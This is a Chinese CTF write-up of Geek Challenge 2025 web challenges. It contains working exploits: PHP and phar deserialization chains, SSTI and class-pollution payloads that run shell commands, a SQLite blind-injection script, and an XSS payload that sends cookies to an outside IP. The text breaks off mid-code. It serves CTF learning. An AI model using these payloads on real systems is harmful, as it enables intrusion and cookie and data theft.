极客大挑战2025 质量真的高
涉及考点:代码审计、传参解析(24[SYC)、XSSbypass、fopen、双写绕过、phar及其bypass、Python原型链污染、wkhtmltopdf漏洞、SVG-XXE攻击、SSTIbypass、异常栈帧逃逸、DOM Clobbering、异步函数条件竞争、CVE-2025-55188
Week1 阿基里斯追乌龟
[!TIP]
在古希腊,英雄阿基里斯和一只乌龟赛跑。阿基里斯的速度是乌龟的十倍。比赛开始时,乌龟在阿基里斯前面100米。芝诺悖论认为,当阿基里斯追到乌龟的出发点时,乌龟已经又向前爬了一段距离。当阿基里斯再追到那个位置时,乌龟又向前爬了。如此无限循环,阿基里斯似乎永远也追不上乌龟。他真的追不上吗?
关键源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 const payload = { achilles_distance : achillesPos, tortoise_distance : tortoisePos, }; fetch ('/chase' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' , }, body : JSON .stringify ({ "data" : encryptData (payload) }), }) .then (response => response.json ()) .then (encryptedResponse => { if (encryptedResponse.data ) { const data = decryptData (encryptedResponse.data ); if (data.flag ) { resultDiv.style .whiteSpace = 'pre-wrap' ; resultDiv.textContent = `你追上它了!\n${data.flag} ` ; chaseBtn.disabled = true ; } else if (data.message ) { resultDiv.textContent = data.message ; } } else { console .error ('Error:' , encryptedResponse.error ); resultDiv.textContent = `发生错误: ${encryptedResponse.error} ` ; } }) .catch (error => { console .error ('Error:' , error); resultDiv.textContent = '发生错误。' ; }); }); });
这里我们可以看到是传入了payload然后放在data里再进行b64解码,最后进行判断距离,所以我们只需要更改一下payload:
1 2 3 4 { "achilles_distance" : 100 , "tortoise_distance" : 0 }
然后b64编码之后就行:
1 { "data" : "ewogICAgICAgICJhY2hpbGxlc19kaXN0YW5jZSI6IDEwMCwKICAgICAgICAidG9ydG9pc2VfZGlzdGFuY2UiOiAwCn0=" }
popself
[!TIP]
有同学跟我说他只会做一个类的php反序列化题,那来试试看
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 <?php show_source (__FILE__ );error_reporting (0 );class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ; public $L ; public function __set ($name , $value ) { echo "他还是没有忘记那个" .$value ."<br>" ; echo "收集夏日的碎片吧<br>" ; $fox = $this ->Fox; if ( !($fox instanceof All_in_one) && $fox ()==="summer" ){ echo "QYQS enjoy summer<br>" ; echo "开启循环吧<br>" ; $komiko = $this ->komiko; $komiko ->Eureka ($this ->L, $this ->sleep3r); } } public function __invoke ( ) { echo "恭喜成功signin!<br>" ; echo "welcome to Geek_Challenge2025!<br>" ; $f = $this ->Samsāra; $arg = $this ->ivory; $f ($arg ); } public function __destruct ( ) { echo "你能让K4per和KiraKiraAyu组成一队吗<br>" ; if (is_string ($this ->KiraKiraAyu) && is_string ($this ->K4per)) { if (md5 (md5 ($this ->KiraKiraAyu))===md5 ($this ->K4per)){ die ("boys和而不同<br>" ); } if (md5 (md5 ($this ->KiraKiraAyu))==md5 ($this ->K4per)){ echo "BOY♂ sign GEEK<br>" ; echo "开启循环吧<br>" ; $this ->QYQS->partner = "summer" ; } else { echo "BOY♂ can`t sign GEEK<br>" ; echo md5 (md5 ($this ->KiraKiraAyu))."<br>" ; echo md5 ($this ->K4per)."<br>" ; } } else { die ("boys堂堂正正" ); } } public function __tostring ( ) { echo "再走一步...<br>" ; $a = $this ->_4ak5ra; $a (); } public function __call ($method , $args ) { if (strlen ($args [0 ])<4 && ($args [0 ]+1 )>10000 ){ echo "再走一步<br>" ; echo $args [1 ]; } else { echo "你要努力进窄门<br>" ; } } } class summer { public static function find_myself ( ) { return "summer" ; } } $payload = $_GET ["24_SYC.zip" ];if (isset ($payload )) { unserialize ($payload ); } else { echo "没有大家的压缩包的话,瓦达西!<br>" ; } ?> 没有大家的压缩包的话,瓦达西!
首先传入这边就需要绕过,我们不能直接传 24_SYC.zip,而是传 24[SYC.zip
然后还有一个需要注意的就是这个比较:if (strlen($args[0])<4 && ($args[0]+1)>10000)
我们可以传入2e4,在这里数组比较的话会取第一个2和4进行比较,但是在进行加法的时候,就会强行展开为2e4进行比较
然后最后读FLAG的话就是在:
1 2 3 $f = $this ->Samsāra; $arg = $this ->ivory; $f ($arg );
直接传入system('env')即可
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ="zzz" ; public $L ; } class summer { public static function find_myself ( ) { return "summer" ; } } $a = new All_in_one ();$a ->KiraKiraAyu = "f2WfQ" ;$a ->K4per = "QNKCDZO" ;$a ->QYQS = new All_in_one ();$a ->QYQS->Fox=["summer" ,"find_myself" ];$a ->QYQS->L = "2e4" ;$a ->QYQS->komiko = new All_in_one ();$a ->QYQS->sleep3r = new All_in_one ();$a ->QYQS->sleep3r->_4ak5ra = new All_in_one ();$a ->QYQS->sleep3r->_4ak5ra->ivory = "env" ;$a ->QYQS->sleep3r->_4ak5ra->Samsāra = "system" ;echo urlencode (serialize ($a ));?>
Vibe SEO
[!TIP]
“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”
由题面,可以搜一下『搜索引擎喜欢结构化的站点地图』,然后可以知道 sitemap.xml
我们访问就可以得到:
1 2 3 4 5 6 7 8 9 10 <urlset xmlns ="http://www.sitemaps.org/schemas/sitemap/0.9" > <url > <loc > http://localhost/</loc > <changefreq > weekly</changefreq > </url > <url > <loc > http://localhost/aa__^^.php</loc > <changefreq > never</changefreq > </url > </urlset >
但是直接访问会有以下错误消息:
1 2 3 4 5 6 7 8 9 Warning: Undefined array key "filename" in /var /www/html/aa__^^.php on line 3 Deprecated: strlen (): Passing null to parameter Warning: Undefined array key "filename" in /var /www/html/aa__^^.php on line 4 Deprecated: readfile (): Passing null to parameter Fatal error: Uncaught ValueError: Path cannot be empty in /var /www/html/aa__^^.php:4 Stack trace:
我们可以看到有个readfile()和filename
我们可以直接访问一下:aa__^^.php?filename=aa__^^.php
可以看到源码:
1 2 3 4 5 6 7 <?php $flag = fopen ('/my_secret.txt' , 'r' );if (strlen ($_GET ['filename' ]) < 11 ) { readfile ($_GET ['filename' ]); } else { echo "Filename too long" ; }
可以看到FLAG在my_secret.txt,但是没有长度限制11
不过,前面 fopen 打开了目标文件 /my_secret.txt,但这里仅仅是打开了文件,并没有关闭它,因此可以通过文件描述符来读取
(Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增,可以通过 /proc/self/fd/<自然数> 或 /dev/fd/<自然数> 来访问这些文件描述符 )
1 2 3 4 5 6 7 8 9 import requestsfor i in range (1 ,99 ): URL = f"http://80-3c713e9d-5841-4228-9414-3f417c916816.challenge.ctfplus.cn/aa__^^.php?filename=/dev/fd/{i} " res = requests.get(url=URL) if "SYC{" in res.text: print (res.text) print (i) break
Xross The Finish Line
[!TIP]
表面防护
简单Fuzz可以知道过滤了 const blacklist = ["script", "img", " ", "\n", "error", "\"", "'"]
在标签名后可以使用斜杠 / 代替空格
Javascript ES6 引入的模板字符串使用反引号包裹,可用于避开单双引号的检测
1 <iframe/onload=fetch(`http://124.222.84.212:2222/a?=`+document.cookie)>
one_last_image
[!TIP]
第一次接受文件上传时,并没有什么特别的感觉,因为独属于我的waf,我早已部署。再见了,所有的一句话木马
Can you give me one last shell?
可以试着尝试传入一个php文件:
然后可以看到以下报错:
然后可以传入一个空的php试试:
然后可以看到这边返回一个路径:/var/www/html/uploads/a583af4d-2eb9-4e8f-8f97-fd1de1852c1e.php,也就是说明我们可以直接访问上传的php的文件,接下来要干的就是绕过waf了
Expression
[!TIP]
这个程序员偷懒直接复制粘贴网上的代码连 JWT 密钥都不改..?
看到题面说的是JWT,那我们就抓包看看,可以看到:
然后可以破解出密钥匙secret,然后我们可以简单尝试一下SSTI
1 <%- globals.process .mainModule .require ('child_process' ).execSync ('env' ) -%>
然后直接进行一个编码:
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjEyM0BxcS5jb20iLCJ1c2VybmFtZSI6IjwlLSBnbG9iYWwucHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjU3luYygnZW52JykgJT4iLCJpYXQiOjE3NjUwMjczNzcsImV4cCI6MTc2NTYzMjE3N30.cWLGlGsKmexupi0V6k8KyHh_FHCGHig9r8n0YAgP9NE
Week2 ez_read
[!TIP]
规矩二蛊都抱怨起来:“人啊,我们老早就告诉过你。我们的名字你最好一个人知晓,不要让其他存在知道。否则我们就要为别的存在所用了。 现在好了吧,智慧蛊已经知道了我们的名字,事情麻烦了。”
首先可以注册一下试试,然后可以进入一个读取文件的地方:
然后这些txt都点了一下,发现没什么有用的信息,我们可以看看源代码,发现以下:
/read?filename=1.txt
我们就可以想到可不可能是伪协议读取文件,尝试:php://filter/read=convert.base64-encode/resource=flag.php
发现文件不存在,然后试了其他几种也不行,就去看看其他地方,注意到个人主页处:
发现两个欢迎,然后用插件可以看到是Flask+python+php,猜测可能是SSTI,尝试注册 {{7*7}}:
但是后面发现试的时候总会出现渲染错误或者是waf等情况,所以还是得从读文件入手,由于正常目录穿越的 ../ 被替换了,所以可以尝试这样读取:
可以得到下面的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from flask import Flask, request, render_template, render_template_string, redirect, url_for, sessionimport osapp = Flask(__name__, template_folder="templates" , static_folder="static" ) app.secret_key = "key_ciallo_secret" USERS = {} def waf (payload: str ) -> str : print (len (payload)) if not payload: return "" if len (payload) not in (114 , 514 ): return payload.replace("(" , "" ) else : waf = ["__class__" , "__base__" , "__subclasses__" , "__globals__" , "import" ,"self" ,"session" ,"blueprints" ,"get_debug_flag" ,"json" ,"get_template_attribute" ,"render_template" ,"render_template_string" ,"abort" ,"redirect" ,"make_response" ,"Response" ,"stream_with_context" ,"flash" ,"escape" ,"Markup" ,"MarkupSafe" ,"tojson" ,"datetime" ,"cycler" ,"joiner" ,"namespace" ,"lipsum" ] for w in waf: if w in payload: raise ValueError(f"waf" ) return payload @app.route("/" ) def index (): user = session.get("user" ) return render_template("index.html" , user=user) @app.route("/register" , methods=["GET" , "POST" ] ) def register (): if request.method == "POST" : username = (request.form.get("username" ) or "" ) password = request.form.get("password" ) or "" if not username or not password: return render_template("register.html" , error="用户名和密码不能为空" ) if username in USERS: return render_template("register.html" , error="用户名已存在" ) USERS[username] = {"password" : password} session["user" ] = username return redirect(url_for("profile" )) return render_template("register.html" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = (request.form.get("username" ) or "" ).strip() password = request.form.get("password" ) or "" user = USERS.get(username) if not user or user.get("password" ) != password: return render_template("login.html" , error="用户名或密码错误" ) session["user" ] = username return redirect(url_for("profile" )) return render_template("login.html" ) @app.route("/logout" ) def logout (): session.clear() return redirect(url_for("index" )) @app.route("/profile" ) def profile (): user = session.get("user" ) if not user: return redirect(url_for("login" )) name_raw = request.args.get("name" , user) try : filtered = waf(name_raw) tmpl = f"欢迎,{filtered} " rendered_snippet = render_template_string(tmpl) error_msg = None except Exception as e: rendered_snippet = "" error_msg = f"渲染错误: {e} " return render_template( "profile.html" , content=rendered_snippet, name_input=name_raw, user=user, error_msg=error_msg, ) @app.route("/read" , methods=["GET" , "POST" ] ) def read_file (): user = session.get("user" ) if not user: return redirect(url_for("login" )) base_dir = os.path.join(os.path.dirname(__file__), "story" ) try : entries = sorted ([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError: entries = [] filename = "" if request.method == "POST" : filename = request.form.get("filename" ) or "" else : filename = request.args.get("filename" ) or "" content = None error = None if filename: sanitized = filename.replace("../" , "" ) target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path): error = f"文件不存在: {sanitized} " else : with open (target_path, "r" , encoding="utf-8" , errors="ignore" ) as f: content = f.read() return render_template("read.html" , files=entries, content=content, filename=filename, error=error, user=user) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8080 , debug=False )
除了要求字数要在114或者514,还给了一大堆的waf,我们随便搓个payload然后写个程序构造一下:
1 2 3 4 5 name = "{{(url_for['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('os')['po'+'pen']('env').read())}}" name1 = name + 'a' * (114 - len (name)) print (name1)
然后我们可以得到:
发现一个什么提权,我们通过ls -al /可以知道:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 drwxr-xr-x 1 root root 4096 Dec 7 10:00 . drwxr-xr-x 1 root root 4096 Dec 7 10:00 .. lrwxrwxrwx 1 root root 7 Aug 24 16:20 bin -&gt; usr/bin drwxr-xr-x 2 root root 4096 Aug 24 16:20 boot drwxr-xr-x 5 root root 360 Dec 7 10:00 dev -rwxr-xr-x 1 root root 300 Jan 1 1970 entrypoint.sh drwxr-xr-x 1 root root 4096 Dec 7 10:00 etc -r-------- 1 root root 43 Dec 7 10:00 flag drwxr-xr-x 2 root root 4096 Aug 24 16:20 home lrwxrwxrwx 1 root root 7 Aug 24 16:20 lib -&gt; usr/lib lrwxrwxrwx 1 root root 9 Aug 24 16:20 lib64 -&gt; usr/lib64 drwxr-xr-x 2 root root 4096 Oct 20 00:00 media drwxr-xr-x 2 root root 4096 Oct 20 00:00 mnt drwxr-xr-x 1 root root 4096 Oct 29 07:15 opt dr-xr-xr-x 2143 root root 0 Dec 7 10:00 proc drwx------ 1 root root 4096 Oct 21 02:09 root drwxr-xr-x 3 root root 4096 Oct 20 00:00 run lrwxrwxrwx 1 root root 8 Aug 24 16:20 sbin -&gt; usr/sbin drwxr-xr-x 2 root root 4096 Oct 20 00:00 srv dr-xr-xr-x 13 root root 0 Oct 1 07:55 sys drwxrwxrwt 1 root root 4096 Oct 29 12:08 tmp drwxr-xr-x 1 root root 4096 Oct 20 00:00 usr drwxr-xr-x 1 root root 4096 Oct 20 00:00 var aaaaaaaaaa</div>
所以我们可以尝试:
1 {{(url_for['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('os')['po'+'pen']('env cat /flag').read())}}aaaaa
ez-seralize
[!TIP]
简单的读文件?
直接读index.php就可以出现源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php ini_set ('display_errors' , '0' );$filename = isset ($_GET ['filename' ]) ? $_GET ['filename' ] : null ;$content = null ;$error = null ;if (isset ($filename ) && $filename !== '' ) { $balcklist = ["../" ,"%2e" ,".." ,"data://" ,"\n" ,"input" ,"%0a" ,"%" ,"\r" ,"%0d" ,"php://" ,"/etc/passwd" ,"/proc/self/environ" ,"php:file" ,"filter" ]; foreach ($balcklist as $v ) { if (strpos ($filename , $v ) !== false ) { $error = "no no no" ; break ; } } if ($error === null ) { if (isset ($_GET ['serialized' ])) { require 'function.php' ; $file_contents = file_get_contents ($filename ); if ($file_contents === false ) { $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars ($filename ); } else { $content = $file_contents ; } } else { $file_contents = file_get_contents ($filename ); if ($file_contents === false ) { $error = "Failed to read file or file does not exist: " . htmlspecialchars ($filename ); } else { $content = $file_contents ; } } } } else { $error = null ; } ?>
可以看到引用了function.php,所以我们同样读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class A { public $file ; public $luo ; public function __construct ( ) { } public function __toString ( ) { $function = $this ->luo; return $function (); } } class B { public $a ; public $test ; public function __construct ( ) { } public function __wakeup ( ) { echo ($this ->test); } public function __invoke ( ) { $this ->a->rce_me (); } } class C { public $b ; public function __construct ($b = null ) { $this ->b = $b ; } public function rce_me ( ) { echo "Success!\n" ; system ("cat /flag/flag.txt > /tmp/flag" ); } }
一个很基础的反序列化,但是并没有上传点,我们扫目录可以发现uploads.php,继续读:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php $uploadDir = __DIR__ . '/uploads/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0755 , true ); } $whitelist = ['txt' , 'log' , 'jpg' , 'jpeg' , 'png' , 'zip' ,'gif' ,'gz' ];$allowedMimes = [ 'txt' => ['text/plain' ], 'log' => ['text/plain' ], 'jpg' => ['image/jpeg' ], 'jpeg' => ['image/jpeg' ], 'png' => ['image/png' ], 'zip' => ['application/zip' , 'application/x-zip-compressed' , 'multipart/x-zip' ], 'gif' => ['image/gif' ], 'gz' => ['application/gzip' , 'application/x-gzip' ] ]; $resultMessage = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_FILES ['file' ])) { $file = $_FILES ['file' ]; if ($file ['error' ] === UPLOAD_ERR_OK) { $originalName = $file ['name' ]; $ext = strtolower (pathinfo ($originalName , PATHINFO_EXTENSION)); if (!in_array ($ext , $whitelist , true )) { die ('File extension not allowed.' ); } $mime = $file ['type' ]; if (!isset ($allowedMimes [$ext ]) || !in_array ($mime , $allowedMimes [$ext ], true )) { die ('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars ($mime )); } $safeBaseName = preg_replace ('/[^A-Za-z0-9_\-\.]/' , '_' , basename ($originalName )); $safeBaseName = ltrim ($safeBaseName , '.' ); $targetFilename = time () . '_' . $safeBaseName ; file_put_contents ('/tmp/log.txt' , "upload file success: $targetFilename , MIME: $mime \n" ); $targetPath = $uploadDir . $targetFilename ; if (move_uploaded_file ($file ['tmp_name' ], $targetPath )) { @chmod ($targetPath , 0644 ); $resultMessage = '<div class="success"> File uploaded successfully ' . '</div>' ; } else { $resultMessage = '<div class="error"> Failed to move uploaded file.</div>' ; } } else { $resultMessage = '<div class="error"> Upload error: ' . $file ['error' ] . '</div>' ; } } ?>
发现这边上传图片后将编码后的文件名放进/tmp/log.txt中,然后我们简单生成一个phar文件然后上传:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class A { public $file ; public $luo ; }class B { public $a ; public $test ; }class C { public $b ; public function rce_me ( ) {} }$c = new C ();$binvoke = new B ();$binvoke ->a = $c ;$binvoke ->test = '' ;$a = new A ();$a ->luo = $binvoke ;$entry = new B ();$entry ->test = $a ;$entry ->a = $c ;@unlink ("test.phar" ); $phar = new Phar ("test.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->addFromString ("test.txt" , "test" );$phar ->setMetadata ($entry );$phar ->stopBuffering ();?>
成功上传之后可以读取 /tmp/log.txt
接着就是phar://触发反序列化,不过还需要带一个serialized=xxx来触发function.php
之后就是可以正常读取flag了
Sequal No Uta
[!TIP]
SQLite Ma U
由题目得到说是SQLite,然后测试一番可以知道仅仅过滤了空格,可以采用 admin%27%09and%091=1--绕过
然后题目只会返回存在/不存在,所以可以采用布尔盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport stringbase_url = "http://80-2abfa371-7e93-44a5-8729-b25e0cdbc48e.challenge.ctfplus.cn/check.php" charset = sorted (string.ascii_letters + string.digits + "._{}-," ) result = "" pos = 1 def test_payload (base_url, payload ): payload = payload.replace(" " , "%0a" ) response = requests.get(base_url, params=payload) if "该用户存在且活跃" in response.text: return True return False while True : left, right = 0 , len (charset) - 1 while left < right: mid = (left + right) // 2 ch = charset[mid] payload = f"name=admin' AND substr((SELECT group_concat(secret, ',') FROM users),{pos} ,1)>'{ch} '-- " if test_payload(base_url, payload): left = mid + 1 else : right = mid if left < len (charset): result += charset[left] print (f"FLAG: {result} " ) pos += 1 else : print ("END" ) break print ("FLAG" , result)
百年继承
[!TIP]
多年以后,面对命令执行,奥雷良诺·布恩地亚上校将会回想起,他父类带它去见识属性的那个遥远的下午。 ———— 奥雷良诺·布恩地亚上校一生卷入了无数次武装起义,甚至多次面对行刑队,但他始终侥幸逃脱,从未真的被枪决,这次应该也一样
一个很有意思的游戏,然后可以正常走一遍流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 上校已创建。 上校继承于他的父亲,他的父亲继承于人类 时间流逝:卷入武装起义:命运与战争交织。 时间流逝:抉择时刻:上校需要做出选择(武器与策略)。 事件:上校使用 spear,采取 ambush 策略。世界线变动... (上校的weapon属性被赋值为spear,tactic属性被赋值为ambush) 时间流逝:宿命延续:行军与退却。 时间流逝:面对行刑队:命运的审判即将到来。 行刑队:开始执行判决。 行刑队也继承于人类 临死之前,上校目光瞄着行刑队的佩剑,上面分明写着: lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功') 这是人类自古以来就拥有的execute_method属性... 处决成功 时间流逝:结局:命运如沙漏般倾泻……
我们可以看到上校继承于父亲,父亲继承自人类,然后有个execute_method属性,这边看出来人类有execute_method属性,然后上校从人类这边继承关系有两层
我们就可以构造以下继承关系:
1 {"__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True), '处决失败')"}}}}
然后就会有回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 日志 上校已创建。 上校继承于他的父亲,他的父亲继承于人类 时间流逝:卷入武装起义:命运与战争交织。 时间流逝:抉择时刻:上校需要做出选择(武器与策略)。 上校选择:{"__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', True), '处决失败')"}}}} 选择已生效。 事件:上校使用 spear,采取 ambush 策略。世界线变动... (上校的weapon属性被赋值为spear,tactic属性被赋值为ambush) 时间流逝:宿命延续:行军与退却。 时间流逝:面对行刑队:命运的审判即将到来。 行刑队:开始执行判决。 行刑队也继承于人类 临死之前,上校目光瞄着行刑队的佩剑,上面分明写着: lambda executor, target: (target.__del__(), setattr(target, 'alive', True), '处决失败') 这是人类自古以来就拥有的execute_method属性... 处决失败 时间流逝:结局:命运如沙漏般倾泻……
发现返回了处决失败,但是并没有FLAG,所以我们可以在后面也执行一下命令
1 {"__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('os').popen('env').read())"}}}}
然后返回:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 日志 上校已创建。 上校继承于他的父亲,他的父亲继承于人类 时间流逝:卷入武装起义:命运与战争交织。 时间流逝:抉择时刻:上校需要做出选择(武器与策略)。 上校选择:{"__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('os').popen('env').read())"}}}} 选择已生效。 事件:上校使用 spear,采取 ambush 策略。世界线变动... (上校的weapon属性被赋值为spear,tactic属性被赋值为ambush) 时间流逝:宿命延续:行军与退却。 时间流逝:面对行刑队:命运的审判即将到来。 行刑队:开始执行判决。 行刑队也继承于人类 临死之前,上校目光瞄着行刑队的佩剑,上面分明写着: lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('os').popen('env').read()) 这是人类自古以来就拥有的execute_method属性... KUBERNETES_SERVICE_PORT=449 KUBERNETES_PORT=1449 HOSTNAME=dep-d375f940-df20-43e1-b0c9-7184f1afa7bb-f868b4d8f-pdwbx HOME=/root PYTHONUNBUFFERED=1 GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78 WERKZEUG_SERVER_FD=3 PYTHONDONTWRITEBYTECODE=1 FLASK_APP=app:app KUBERNETES_PORT_443_TCP_ADDR=unix:///var/run/docker.sock PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=1449 FLASK_ENV=production KUBERNETES_PORT_443_TCP_PROTO= LANG=C.UTF-8 PYTHON_VERSION=3.11.14 KUBERNETES_PORT_443_TCP= KUBERNETES_SERVICE_PORT_HTTPS=449 KUBERNETES_SERVICE_HOST=unix:///var/run/docker.sock PWD=/app FLAG="SYC{0ne_Hundr3d_Ye@rs_of_Inheritance_LMAO}"
eeeeezzzzzzZip
[!TIP]
小杭写了一个压缩包管理平台,但是作为一个开发很不仔细,也许有什么问题在里面呢
php 文件上传不含一句 php 代码 RCE 最新新姿势-先知社区
↑上面可以算是原题了
首先扫目录可以发现www.zip,直接访问就能触发下载
解压之后可以分别得到以下三个php源码:
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php session_start ();error_reporting (0 );if (!isset ($_SESSION ['user' ])) { header ("Location: login.php" ); exit ; } $salt = 'GeekChallenge_2025' ;if (!isset ($_SESSION ['dir' ])) { $_SESSION ['dir' ] = bin2hex (random_bytes (4 )); } $SANDBOX = sys_get_temp_dir () . "/uploads_" . md5 ($salt . $_SESSION ['dir' ]);if (!is_dir ($SANDBOX )) mkdir ($SANDBOX , 0700 , true );$files = array_diff (scandir ($SANDBOX ), ['.' , '..' ]);$result = '' ;if (isset ($_GET ['f' ])) { $filename = basename ($_GET ['f' ]); $fullpath = $SANDBOX . '/' . $filename ; if (file_exists ($fullpath ) && preg_match ('/\.(zip|bz2|gz|xz|7z)$/i' , $filename )) { ob_start (); @include ($fullpath ); $result = ob_get_clean (); } else { $result = "文件不存在或非法类型。" ; } } ?>
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php session_start ();$err = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $u = $_POST ['user' ] ?? '' ; $p = $_POST ['pass' ] ?? '' ; if ($u === 'admin' && $p === 'guest123' ) { $_SESSION ['user' ] = $u ; header ("Location: index.php" ); exit ; } else { $err = '登录失败:用户名或密码错误' ; } } ?>
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 <?php session_start ();error_reporting (0 );$allowed_extensions = ['zip' , 'bz2' , 'gz' , 'xz' , '7z' ];$allowed_mime_types = [ 'application/zip' , 'application/x-bzip2' , 'application/gzip' , 'application/x-gzip' , 'application/x-xz' , 'application/x-7z-compressed' , ]; $BLOCK_LIST = [ "__HALT_COMPILER()" , "PK" , "<?" , "<?php" , "phar://" , "php" , "?>" ]; function content_filter ($tmpfile , $block_list ) { $fh = fopen ($tmpfile , "rb" ); if (!$fh ) return true ; $head = fread ($fh , 4096 ); fseek ($fh , -4096 , SEEK_END); $tail = fread ($fh , 4096 ); fclose ($fh ); $sample = $head . $tail ; $lower = strtolower ($sample ); foreach ($block_list as $pat ) { if (stripos ($sample , $pat ) !== false ) { return false ; } if (stripos ($lower , strtolower ($pat )) !== false ) { return false ; } } return true ; } if (!isset ($_SESSION ['dir' ])) { $_SESSION ['dir' ] = bin2hex (random_bytes (4 )); } $salt = 'GeekChallenge_2025' ;$SANDBOX = sys_get_temp_dir () . "/uploads_" . md5 ($salt . $_SESSION ['dir' ]);if (!is_dir ($SANDBOX )) mkdir ($SANDBOX , 0700 , true );if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { if (!isset ($_FILES ['file' ])) { http_response_code (400 ); die ("No file." ); } $tmp = $_FILES ['file' ]['tmp_name' ]; $orig = basename ($_FILES ['file' ]['name' ]); if (!is_uploaded_file ($tmp )) { http_response_code (400 ); die ("Upload error." ); } $ext = strtolower (pathinfo ($orig , PATHINFO_EXTENSION)); if (!in_array ($ext , $allowed_extensions )) { http_response_code (400 ); die ("Bad extension." ); } $finfo = finfo_open (FILEINFO_MIME_TYPE); $mime = finfo_file ($finfo , $tmp ); finfo_close ($finfo ); if (!in_array ($mime , $allowed_mime_types )) { http_response_code (400 ); die ("Bad mime." ); } if (!content_filter ($tmp , $BLOCK_LIST )) { http_response_code (400 ); die ("Content blocked." ); } $newname = time () . "_" . preg_replace ('/[^A-Za-z0-9._-]/' , '_' , $orig ); $dest = $SANDBOX 